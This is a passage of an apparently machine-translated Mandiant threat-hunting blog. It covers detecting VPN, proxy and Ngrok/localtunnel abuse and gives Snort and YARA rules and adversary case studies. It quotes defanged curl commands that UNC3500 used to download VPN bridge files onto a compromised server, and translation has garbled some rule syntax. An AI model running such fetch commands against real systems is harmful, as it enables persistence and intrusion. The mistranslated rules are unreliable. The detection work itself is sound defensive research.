-「それ」
selectionLocalTunnel4:
processEvent processCmdLine|内容:
- "http"
-「https」
selectionLocalTunnel5:
processEvent processCmdLine|内容:
- "-s"
-「--サーバー」
- "-h"
- " - ホスト"
- "-p"
- " - ポート"
条件: selectionKnownCMDs または (selectionNgrokProcess および selectionNgrokCMD) または (selectionLHRun1 および selectionLHRun2 および selectionLHRun3) または ((selectionLocalTunnel1 または selectionLocalTunnel3) および selectionLocalTunnel2) または (selectionLocalTunnel1 および selectionLocalTunnel4 および selectionLocalTunnel5)
田畑:
- 「processEvent processCmdLine」
- 「processEvent プロセス」
- 「processEvent ユーザー名」
- 「プロセスイベント Md5」
偽陽性:
- "わからない"
レベル:「中」

ネットワーク トラフィックの Ngrok エージェント IP

歴史的に、Ngrok のトンネリングはオリジン IP を隠すことでオリジン サーバーを保護します。ただし、すべてのフリー エンドポイントのオリジン IP は、トンネル エンドポイントによって返されるすべての HTTP 応答の ngrok-agent-ips ヘッダーで公開されます。これは、ネットワーク セッション データのラベル付けと理解を向上させるために、Snort を介して簡単に追跡および検出できます。

alert tcp any any -> any any ( msg:"M.Tunneler.HTTP.Ngrok.[response]"; content:"HTTP/1"; depth:6; content:"200 OK"; within:9; content:"|0d0a|ngrok-agent-ips:"; threshold:type limit,track by_src,count 1,seconds 1800; sid:1; rev:1; )


その他の一般的な指示

一般的な VPN 株式を含むファイル

懸念: 攻撃者は、改変されたバイナリを使用して VPN インフラストラクチャと対話する可能性があります。このより一般的な方向性により、潜在的な VPN のような動作を包括的に調べることができます。

方向性: 一致するように簡単に変更できないコア バイナリ コンポーネントを特定します (つまり、PDB パス、エクスポート、サードパーティ ライブラリ、ドメインなど)。

バイナリの汎用ドメイン

rule M_Hunting_VPNEngine_GenericProxyVPNDomain_1 {   meta:       author = "Mandiant"       description = "Rule looks for generic proxy/vpn domains."       md5 = "96842ad6cc00fab5776171c56812b9a5"   strings:       $UniqueProxyVPNDomain = /(proxy|vpn).[^.]{1,100}.(net|com|org)/ ascii fullword nocase   condition:       filesize < 5MB and ((uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f)) and $UniqueProxyVPNDomain }

コンベンションエンジン

Definitive Dossier of Devilish Debug Details: Part One に記載されているとおり:

「多くの場合、ユーザーはコンテンツに基づいてフォルダーやファイルに名前を付けます。コンピュータは、データの種類、役割、および目的に基づいてデータにラベルを付け、注釈を付けることをユーザーに強制します。この人間とコンピューターの慣習は、ほとんどのデジタル コンテンツが、マルウェア ファイルを含む多くのファイルに存在する説明的な表面領域、または説明的な「機能」を持っていることを意味します。これらの機能のすべてが [バイナリ] にあることを意図していたわけではありません。これは、コンパイル プロセスの結果として説明できる PDB パスに特に当てはまり、開発環境を説明するマルウェアに残されたツールマークです。」

VPN またはプロキシ PDB 規則

rule M_Hunting_Win_VPNEngine_PDB_1 {   meta:       author = "Mandiant"       description = "Rule looks for VPN or Proxy PDB."       md5 = "2bf422e19e721b461f9e98271fb28ad3"   strings:       $pdb = /RSDS[x00-xFF]{20}[a-zA-Z]:[x00-xFF]{0,500}(vpn|proxy)[x00-xFF]{0,500}.pdbx00/ ascii nocase wide   condition:       filesize < 5MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pdb }

サードパーティのライブラリを探す

一部の製品は他の製品よりも人気がありますが、数え切れないほどの VPN ソフトウェア会社と製品があります。したがって、特定のブランドの検出に依存することは、幅広い検出の目的には適していません。したがって、これらのソフトウェアが大規模に使用する一般的なサードパーティ ライブラリを検出することで、より広範で包括的な範囲が可能になります。これらのサードパーティ トンネル ライブラリには、gotunnelme、golocaltunnel、localtunnel.net、zdtun などがあります。

GoTunnelMe ライブラリ

ルール M_Hunting_AscensionEngine_gotunnelme_1
{
メタ:
著者=「マンディアント」
description = "ルールは、gotunnelme を使用するバイナリを探します。"
md5 = "35fcc4b19946d1bc9c21add1f42d2b63"
文字列:
$anchor = "gotunnelme" ascii nocase wide
$func1 = "NewTunnelConn" ascii nocase wide
$func2 = "トンネル" ascii nocase wide
$func3 = "StopTunnel" ascii nocase wide
$func4 = "ConnectRemote" ascii nocase wide
$func5 = "NewTunnel" ascii nocase wide
$func6 = "GetUrl" ascii nocase wide
調子:
((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f)) and filesize < 20MB and $anchor and (1 of ($func*))
}

GoLocalTunnel ライブラリ

ルール M_Hunting_AscensionEngine_golocaltunnel_1
{
メタ:
著者=「マンディアント」
description = "ルールは、golocaltunnel を使用するバイナリを探します。"
md5 = "35fcc4b19946d1bc9c21add1f42d2b63"
文字列:
$anchor1 = "localtunnel.go" ascii nocase wide
$func1 = "readAtmost" アスキー ノーケース ワイド
$func2 = "Network" ascii nocase wide
$func3 = "WaitFor" ascii nocase wide
$func4 = "Accept" ascii nocase wide
$func5 = "Addr" ascii nocase wide
$func6 = "URL" ascii nocase wide
$func7 = "ReachedEOF" ascii nocase wide
$func8 = "setDefaults" ascii nocase wide
調子:
((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f)) and filesize < 20MB and $anchor1 and (3 of ($func*))
}

LocalTunnelNet ライブラリ

rule M_Hunting_AscensionEngine_localtunnelnet_1 {   meta:       author = "Mandiant"       description = "Rule looks for binaries that use localtunnel.net."       md5 = "35fcc4b19946d1bc9c21add1f42d2b63"   strings:              $s1 = "Localtunnel" ascii nocase wide              $s2 = "LocaltunnelClient" ascii nocase wide              $s3 = "ProxiedSslTunnelOptions" ascii nocase wide              $s4 = "ProxiedSslTunnelConnection" ascii nocase wide   condition:        ((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f)) and filesize < 20MB and all of them }

ZDTun ライブラリ

ルール M_Hunting_AscensionEngine_zdtun_1
{
メタ:
著者=「マンディアント」
description = "ルールは、zdtun を使用するバイナリを探します。"
md5 = "f224e0c1ad6d27c76b1f87fdb8ada639"
文字列:
$anchor = "zdtun" ascii nocase wide
$s1 = "zdtun_conn_close" ascii nocase wide
$s2 = "zdtun_conn_dnat" ascii nocase wide
$s3 = "zdtun_conn_proxy" ascii nocase wide
$s4 = "zdtun_conn_set_userdata" ascii nocase wide
$s5 = "zdtun_fds" ascii nocase wide
$s6 = "zdtun_finalize" ascii nocase wide
$s7 = "zdtun_get_stats" ascii nocase wide
$s8 = "zdtun_make_iphdr" ascii nocase wide
$s9 = "zdtun_purge_expired" ascii nocase wide
$s10 = "zdtun_set_dnat_info" ascii nocase wide
$s11 = "zdtun_set_mtu" ascii nocase wide
$s12 = "zdtun_set_socks5_proxy" ascii nocase wide
$s13 = "zdtun_conn_get_userdata" ascii nocase wide
$s14 = "zdtun_userdata" ascii nocase wide
$s15 = "zdtun_init" ascii nocase wide
調子:
((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f)) and filesize < 20MB and $anchor and (5 of ($s*))
}

Github 経由の汎用プロキシ、トンネル、または VPN ライブラリ

rule M_Hunting_AscensionEngine_GithubVPNProxy_1 {   meta:       author = "Mandiant"       description = "Rule looks for binaries that include vpn/proxy/tunnel github links"   strings:       $r1 = /github.com/[^/]+/[^/]*(vpn|VPN|proxy|Proxy|tunnel|Tunnel)[^/]*//       $vpn = "vpn" nocase fullword       $proxy = "proxy" nocase fullword       $tunnel = "tunnel" nocase fullword   condition:        ((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f)) and filesize < 20MB and $r1 and ($vpn or $proxy or $tunnel) }

バイナリ エクスポート アーティファクト

Microsoft のドキュメントに基づいて、DLL ファイルにはエクスポート テーブルが含まれています。 exports テーブルには、DLL が他の実行可能ファイルにエクスポートするすべての関数の名前が含まれています。これらの関数は、DLL へのエントリ ポイントです。 exports テーブル内の関数のみが、他の実行可能ファイルからアクセスできます。

ファイル内のこれらの輸出資産は、特に独自の輸出とその使用の目的に関連するため、意図を特定するのに役立ちます。リソース名やドメインの存在など、考えられる意図を洞察できる、他にも固有の移植可能な実行可能ファイルの詳細があります。

VPN 固有の DLL エクスポート

import "pe" rule M_Hunting_Win_ExportEngine_vpn_dll_1 {       meta:       author = "Mandiant"       description = "Looks for an export dll containing the string vpn"       reference = "https://twitter.com/stvemillertime/status/1241027937970814976?s=20&t=t2Esf89F6T8LuiBsT8RV-g"       md5 = "61d59eb2799b1a77eedf34b145cf23e1"       strings:              $pcre = /[x00-x7F]{0,100}(vpn|VPN)[x00-x7F]{0,100}.(dat|dll|sys|exe)x00/       condition:              uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12)) }

プロキシ固有の DLL エクスポート

import "pe" rule M_Hunting_Win_ExportEngine_vpn_dll_1 {       meta:       author = "Mandiant"       description = "Looks for an export dll containing the string vpn"       reference = "https://twitter.com/stvemillertime/status/1241027937970814976?s=20&t=t2Esf89F6T8LuiBsT8RV-g"       md5 = "61d59eb2799b1a77eedf34b145cf23e1"       strings:              $pcre = /[x00-x7F]{0,100}(proxy|Proxy|PROXY)[x00-x7F]{0,100}.(dat|dll|sys|exe)x00/       condition:              uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12)) }

VPN またはプロキシ固有の PE リソース名

import "pe" rule M_Hunting_Win_VPNEngine_ResourceInPE_1 {   meta:       author = "Mandiant"       description = "This signature is looking for VPN or Proxy subresources."       md5 = "2ce7a0ffa14134167945e8df84755f1c"   condition:       uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and for any i in (0.. pe.number_of_resources - 1): ( pe.resources[i].name_string == "Vx00Px00Nx00" or pe.resources[i].name_string == "Px00Rx00Ox00Xx00Yx00" or pe.resources[i].name_string == "VPN" or pe.resources[i].name_string == "PROXY")

影響 – ケーススタディ

アナリスト、研究者、エンジニアなど – 時間は限られています。時間は、誰もが持っている最大のリソースの 1 つです。ですから、質問をすることが重要です:なぜ気にするのですか?次のセクションでは、このブログで説明した手法やテクノロジを悪用するさまざまな攻撃者に焦点を当てます。

UNC3500

UNC3500 は、CVE-2021-44228 を利用して教育および通信セクターのエンティティを標的にした 中国の攻撃者と疑われています。グループは持続性を確立しましたバックドアとして機能する VPN および HTTPS サーバーの作成最初の妥協の後。

特定の UNC3500 侵入における偵察と初期アクションに続いて、攻撃者は次のコマンドを使用して前述の VPN ソフトウェアと HTTPS サーバーをダウンロードしました。

  • curl hxxp://35.189.145[.]119/hamcore.se2 > /mi/pki/mics/log/hamcore.se2
    • (MD5: 9fb1191ba0064d317a883677ce568023)
  • curl hxxp://35.189.145[.]119/https > /mi/pki/mics/log/https
    • (MD5: 00352d167c44272dba415c36867a8125)
  • curl hxxp://35.189.145[.]119/vpn_bridge.config > /mi/pki/mics/log/vpn_bridge.config
    • (MD5: ce5d96252315e2c9d5fd9aeb98ae28ae)

https および hamcore.se2 ファイルは、SoftEther の VPN サーバー ブリッジである PacketiX のコンポーネントです。 PacketiX VPN Bridge は、ローカル システム上の物理ネットワーク アダプターとリモートの SoftEther VPN サーバーの間にレイヤー 2 接続を作成します。付属のライブラリ ファイル hamcore.se2 と構成ファイル vpn_bridge.config が必要です。このパッケージを展開することにより、 UNC3500 は侵害されたサーバーで持続性を確立しました。

APT40

APT40 は主に海事産業に対する侵入活動を行っており、少なくとも 2013 年にさかのぼる活動に関連付けられています。2021 年 4 月、APT40 の 4 人のメンバーが米国司法省によって起訴され、海南の MSS のために働いているとされました。 .運用は、研究開発プログラムに利益をもたらす機密データをターゲットにし、これらのアクターを後援する意思決定者に通知し、関連組織をさらにターゲットにすることができます。

APT40 によって使用されていることが観察された手法の 1 つには、 VPN 経由の流出が含まれます。さらに、ProtonVPNと ExpressVPN を利用する APT40 が特定されています。

UNC2465

サプライ チェーンへの侵入では、UNC2465 によって使用される軽量の .NET ベースのバックドアである SMOKEDHAM が、PowerShell を使用してサードパーティのファイル共有サイトに接続し、conhost.exe に名前が変更された Ngrok ユーティリティをダウンロードしました。スクリプトを使用して、ngrok.yml という名前の構成ファイルで Ngrok を実行しました。 Ngrok は、NAT とファイアウォールの背後にあるローカル サーバーを、安全なトンネルを介して公共のインターネットに公開できる、公開されているユーティリティです。

UNC2465は、以前に DARKSIDE ランサムウェアを展開した脅威クラスターであり、少なくとも 2020 年 3 月から活動していた疑いがあります。被害者環境での SMOKEDHAM バックドアベース。 UNC2465 は、DARKSIDE ランサムウェアと、TOR を介したリーク Web サイトによる恐喝のハイブリッド アプローチを使用して恐喝を行っています。 DARKSIDE はまず、DARKSIDE ブログに公開された少量のデータで被害者を辱め、クライアントが支払いを拒否した場合に数日間にわたって大量のデータを公開することで圧力をかけます。このグループはアフィリエイトを表している可能性が高く、DARKSIDE エコシステム全体のごく一部にすぎません。 UNC2465 は、フィッシング、Web 侵害、および正規のソフトウェア インストーラーのトロイの木馬化によるサプライ チェーン アクセスを使用しています。 UNC2465 の活動は、DARKSIDE RaaS の全体的なシャットダウン後も継続しています。

地下フォーラム

idk 」という名前の英語を話すアクターが、米国の保険およびヘルスケア企業へのアクセスを宣伝しました。このアクセス方法には、「OpenVPN がインストールされている」および「OpenVPN からの資格情報」が記載されていました。

ソースとしての VPN

UNC3661NordVPNを使用して、被害者の環境とのリモートでのやり取りのためにオリジン IP を隠しています。

ウクライナに対して使用された活動のNEARTWISTクラスター (中程度の信頼度でAPT28リンク) は、 ExpressVPN のIP アドレスを使用して Web シェルにログインしました。

有病率

あるジェダイ マスターはかつてこう言いました。それでは、有病率について話しましょう!格納された Mandiant データに対して、このブログで強調されているさまざまな検出と方法を利用して、40 以上の接続がさまざまな攻撃者グループとマルウェア ファミリに対して行われました。

敵対者のクラスターとグループ

APT12

APT22

APT28

APT37

APT40

UNC270

UNC530

UNC875

UNC961

UNC1066

UNC1575

UNC1585

UNC1615

UNC1804

UNC2465

UNC2984

UNC3325

UNC3500

UNC3661

UNC3804

マルウェア ファミリとエクスプロイト

ビーコン
BEEBSINFO
ダークニューロン
ディムクラーク
エモテット
ハーフスポット
ハイディホール
HTRAN
アイスフォグ
鉄の扉
キックバック
ロキボット
メータープリター
マネーラン
パックマン
うお座
PROXYDLL
リッチボート
サルサベルデ
ソダリバー
ソグ
トリックボット
ヴェノムプロキシ
WMIEXEC
ウォシュラット
ゼクスシェル
CVE-2018-0802

私たちはどこに行きましたか?

VPN ソフトウェア、プロキシ サービス、および localhost トンネルを使用することで、敵対者に正当性の雰囲気、暗号化による検出バイパス、および潜在的なポイント ツー ポイント アクセスを提供します。これらの特性は、敵対者の価値の高い欲求であり、青いチームにとって検出、封じ込め、および根絶をより負担にします。

ただし、このブログでは、VPN ソフトウェア、プロキシ サービス、および localhost トンネルを分析して、方向を探しました。これらのハンティングの方向性には、ベンダーおよびサービス固有の項目 (SoftEther、Ngrok、WireGuard、OpenVPN、Hide.Me など) が含まれていましたが、全体論的およびトレードクラフト関連の方向性 (コンベンション、サードパーティ ライブラリ、PE アーティファクトなど) にも焦点が当てられていました。 .

これらの指示により、これらのソフトウェアとサービス スイートに対する防御側のハンティングと検出のレパートリーが拡大し、ブルー チームの負担が軽減されます。

ハッピーハンティング

謝辞

分析とレビューに貢献してくれたすべての人に感謝します。 Matthew Dunwoody と Evan Reese に特に感謝します。

免責事項

このブログに記載されている署名は、脅威ハンティングの方向性とジャンプ ポイントであることを意図しており、アナリストが次の一歩を踏み出し、疑わしいアクティビティを特定できるようにします。すべてのネットワークは異なるため、これらのシグネチャは、テストおよび必要に応じて調整を行わずに実稼働環境に展開しないでください。

ケーススタディと例は、さまざまな顧客のために働いた当社の経験と活動から引き出されたものであり、特定の顧客または一連の顧客に対する当社の仕事を表すものではありません。多くの場合、事実が変更されて、顧客および顧客に関連する個人の身元がわかりにくくなっています。

参照: https://www.mandiant.com/resources/blog/burrowing-your-way-into-vpns

Comments

Copied title and URL